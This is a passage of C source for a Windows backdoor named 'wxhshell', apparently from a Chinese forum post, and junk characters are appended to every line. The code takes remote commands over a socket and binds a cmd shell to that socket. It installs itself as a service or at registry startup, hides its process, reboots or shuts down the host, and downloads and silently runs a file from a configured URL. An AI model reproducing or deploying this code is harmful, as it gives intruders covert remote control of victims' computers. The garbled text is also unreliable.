  // 帮助 03T.Owd  
  case '?': { \h4y,sl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ualtIHXK)  
    break; hW&UG#PY>  
  } RCr:2 Iz  
  // 安装 m~A/.t%=  
  case 'i': { 2} -W@R  
    if(Install()) c#Bde-dh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V"XN(Fd^  
    else DFMWgBL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C/=ZNl9"fn  
    break; 3-5lO#&#  
    } Ns_d10rZ.  
  // 卸载 3IIlAzne;  
  case 'r': { U@WT;:.T  
    if(Uninstall()) crQuoOl7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kCV OeXv  
    else CDhk!O..  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B=7L+6  
    break; %k_JLddlW  
    } :%gBcL9T  
  // 显示 wxhshell 所在路径 l3,|r QD  
  case 'p': {  ar yr  
    char svExeFile[MAX_PATH]; 3h&s=e!  
    strcpy(svExeFile,"\n\r"); B4C`3@a  
      strcat(svExeFile,ExeFile); 9TLP(  
        send(wsh,svExeFile,strlen(svExeFile),0); X%sc:V  
    break; ]So%/rOvX  
    } lz>hP  
  // 重启 !VW#hc \A5  
  case 'b': { Nf1l{N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6 S8#[b  
    if(Boot(REBOOT)) 4{TUoI6ii  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #X+)  
    else { W$W7U|Z9y+  
    closesocket(wsh); " 1 Bn/Q  
    ExitThread(0); s$Mj4_p3l  
    } &AzA0r&,  
    break; V>hy5hDpH  
    } ^t"\PpmK<d  
  // 关机 {,m!%FDL  
  case 'd': { Z`D#L[z$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @S{,g;8  
    if(Boot(SHUTDOWN)) 8r5j~Df  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ev>: 3_ s  
    else { $ _zdjzT  
    closesocket(wsh); +ad 2  
    ExitThread(0); lp6GiF  
    } QS[%`-dR2  
    break; D_@^XS  
    } ^;'3(m=  
  // 获取shell ^vzNs>eJ  
  case 's': { )gE:@ 3  
    CmdShell(wsh); /)|*Vzu  
    closesocket(wsh); _M?:N:e  
    ExitThread(0); "|hmiMdGB  
    break; tw;`H( UZ^  
  } b3Do{1BV  
  // 退出 ~ 60J  
  case 'x': { nD!^0?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `H\^#Zu  
    CloseIt(wsh);  #/n\C  
    break;  `=oN&!  
    } ]_-<[0  
  // 离开 $ _ gMJ\{  
  case 'q': { e|`&K"fnq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >LjvMj ]  
    closesocket(wsh); [;c#LJ/y  
    WSACleanup(); q*2ljcb55  
    exit(1); h5F1mr1Sa  
    break; fPst<)  
        } *p VKMmU  
  } *-2u0%  
  } Zcc6E2  
JTVCaL3Z  
  // 提示信息 /q8n_NR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t&ngOF  
} )4j#gHN\  
  } 't wMvm  
.Emw;+>  
  return; =\tg$  
} %6 Bt%H  
c" yf>0  
// shell模块句柄 R:11w#m7w  
int CmdShell(SOCKET sock) N1_nBQF )  
{ ,rQznE1e  
STARTUPINFO si; Kg9REL@,s  
ZeroMemory(&si,sizeof(si)); O0wD"V^W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e%"L79Of6)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /z6NJ2jb  
PROCESS_INFORMATION ProcessInfo; >pr{)bp G  
char cmdline[]="cmd"; A2]N :=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oMcX{v^"  
  return 0; BH\qm (X  
} H=EvT'g  
pS9CtQqvgy  
// 自身启动模式 ?mnwD]u  
int StartFromService(void) 8xlj:5;(w  
{ jPhOk>m  
typedef struct ?:~ `?  
{ s\_ ,aI  
  DWORD ExitStatus; Bx2E9/S3  
  DWORD PebBaseAddress; PoQ@9 A  
  DWORD AffinityMask; anHP5gD  
  DWORD BasePriority; I 91`~0L*  
  ULONG UniqueProcessId; 8&B{bS  
  ULONG InheritedFromUniqueProcessId; -_v[oqf$  
}   PROCESS_BASIC_INFORMATION; zAS&L%^tV  
\%f4)Qb  
PROCNTQSIP NtQueryInformationProcess; G ? H`9*y  
uG~%/7Qt{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4>gk XfTF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Lr_+) l  
|{<g-)  
  HANDLE             hProcess; >cQ*qXI0  
  PROCESS_BASIC_INFORMATION pbi; s9zdg"c'  
lhKd<Y"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =k'3rm*ld  
  if(NULL == hInst ) return 0; Xb5n;=)  
' w!o!_T6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (F +if  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0l!@bj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); esWgYAc3{  
x/R|i%u-s  
  if (!NtQueryInformationProcess) return 0; A{Jv`K  
ts aD5B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k5P&F  
  if(!hProcess) return 0; L00,{g6wqb  
1)X%n)2pr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?x%HQ2`  
y!h$Z6.  
  CloseHandle(hProcess); 120<(#  
?S36)oZzg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YR=<xn;m.  
if(hProcess==NULL) return 0; <U (gjX  
]4@_KKP  
HMODULE hMod; % Lhpj[C  
char procName[255]; nxA Y]Q  
unsigned long cbNeeded; >t2 0GmmN  
/xWkP{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y7zg  
[>=D9I@~  
  CloseHandle(hProcess); 1>[3(o3t  
"@;q! B.qo  
if(strstr(procName,"services")) return 1; // 以服务启动 DyD#4J)E  
u`xmF/jhQ  
  return 0; // 注册表启动 J$%mG*Y(  
} }3!83~Qbx  
l`UJHX  
// 主模块 U@@#f;&  
int StartWxhshell(LPSTR lpCmdLine) - /]ro8V$  
{ 5hUYxF20h8  
  SOCKET wsl; bjmUU6VLT  
BOOL val=TRUE; 5wmH3g#0  
  int port=0; rW0# 6  
  struct sockaddr_in door; vQ#$.*Cvn  
%M2.h;9]*\  
  if(wscfg.ws_autoins) Install(); Cg?D<l4  
:bkACuaEn  
port=atoi(lpCmdLine); j7K9T  
Ol`/r@s  
if(port<=0) port=wscfg.ws_port; KJo [!|.  
'ejuzE9  
  WSADATA data; r  /63  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /pan{.< k  
:DXkAb2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >eQ;\j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o7i/~JkTP  
  door.sin_family = AF_INET; PspH[db  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); : ~"^st_[!  
  door.sin_port = htons(port); bg[k8*.:F  
nyWA(%N1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (cAv :EKpo  
closesocket(wsl); BG_m}3j  
return 1; 6a[D]46y,2  
} ~O;!y%  
@C62%fU{5  
  if(listen(wsl,2) == INVALID_SOCKET) { $~`a,[e<  
closesocket(wsl); B$1nq#@  
return 1; O`~G'l&@T  
} R/R[r> 1)6  
  Wxhshell(wsl); H=?v$! i  
  WSACleanup(); lEIX,amwa  
;n$j?n+|  
return 0; v%n'_2J =^  
K++pH~o  
} tQ_;UQlX  
=B4U~|k  
// 以NT服务方式启动 UeV2`zIg`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oe_l:Y%  
{ N3g[,BE  
DWORD   status = 0; :BKY#uH~  
  DWORD   specificError = 0xfffffff; dRTtDH"%  
D{'x7!5r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LbOjKM^-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b)J(0,9`G"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O|m-Uz"+  
  serviceStatus.dwWin32ExitCode     = 0; an={h,  
  serviceStatus.dwServiceSpecificExitCode = 0; Izm8 qt=m  
  serviceStatus.dwCheckPoint       = 0; 8fFURk  
  serviceStatus.dwWaitHint       = 0; ,uqSq  
EQ1wyKZS2g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nF0$  
  if (hServiceStatusHandle==0) return; A1e|Y  
wr,X@y%(!  
status = GetLastError(); G`!#k!&r  
  if (status!=NO_ERROR) _?#}@?  
{ VFz (U)._  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U4qp?g+:  
    serviceStatus.dwCheckPoint       = 0; 9:"%j  
    serviceStatus.dwWaitHint       = 0; " NnUu 8x  
    serviceStatus.dwWin32ExitCode     = status; ^]o]'  
    serviceStatus.dwServiceSpecificExitCode = specificError; vS%o>"P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T V\21  
    return; YbB8D-  
  } +:pjQ1LsJ  
`=0}+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "& 'h\  
  serviceStatus.dwCheckPoint       = 0; Ql&5fyW  
  serviceStatus.dwWaitHint       = 0; _Z z" `  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x~C%Hp*#  
} 4CVtXi_Y  
Eh&*"&fHR  
// 处理NT服务事件,比如:启动、停止 PCDsj_e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RhIRCN9  
{ 4<fKB&  
switch(fdwControl) lg FA}p@  
{ *>,8+S33r{  
case SERVICE_CONTROL_STOP: QxG:NN;jW  
  serviceStatus.dwWin32ExitCode = 0; Pd9qY 8CP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'bVDmm).  
  serviceStatus.dwCheckPoint   = 0; $ ,Y\  
  serviceStatus.dwWaitHint     = 0; .<5 66g}VP  
  { oG~a`9N%C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .E}fk,hLB  
  } KR4X&d6  
  return; 1uBnU2E  
case SERVICE_CONTROL_PAUSE: gBb+Q,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y1?w f.  
  break; xD+n2:I{  
case SERVICE_CONTROL_CONTINUE: 6&/n/g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _tDSG]  
  break; 'oSs5lW  
case SERVICE_CONTROL_INTERROGATE: 9nF;$ HB  
  break; #AHX{<  
}; uz-O%R-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h^o>9s/|/H  
} 0Snl_@s  
>__t 2  
// 标准应用程序主函数 2k}~"!e1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q${0(#Nu  
{ 'jh9n7mH  
"cSH[/  
// 获取操作系统版本 kU^*hd ]  
OsIsNt=GetOsVer(); }jTCzqHW]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1KwUp0% &  
ajB4 Lj,:r  
  // 从命令行安装 l]tda(  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;s{k32e  
5n,?&+*L  
  // 下载执行文件  /6)6  
if(wscfg.ws_downexe) { &ru2&Sz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aVTTpMY  
  WinExec(wscfg.ws_filenam,SW_HIDE); b5WtL+Z  
} >a;0<Ui&Q  
3i1e1Lj1  
if(!OsIsNt) { rjsqXo:9  
// 如果时win9x,隐藏进程并且设置为注册表启动 cTlitf9  
HideProc(); G&ZpQ)  
StartWxhshell(lpCmdLine); I !\;NVhv  
} l6o?(!:!%  
else 2|a@,TW}-  
  if(StartFromService()) EPO*{bN7O  
  // 以服务方式启动 fd Vye|%  
  StartServiceCtrlDispatcher(DispatchTable); |Uf[x[  
else k Qm\f  
  // 普通方式启动 Th"0Cc)  
  StartWxhshell(lpCmdLine); C|"BMam  
2@!Ou$W  
return 0; FUy!j|W6f  
}
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只看该作者 1 发表于: 2006-10-10
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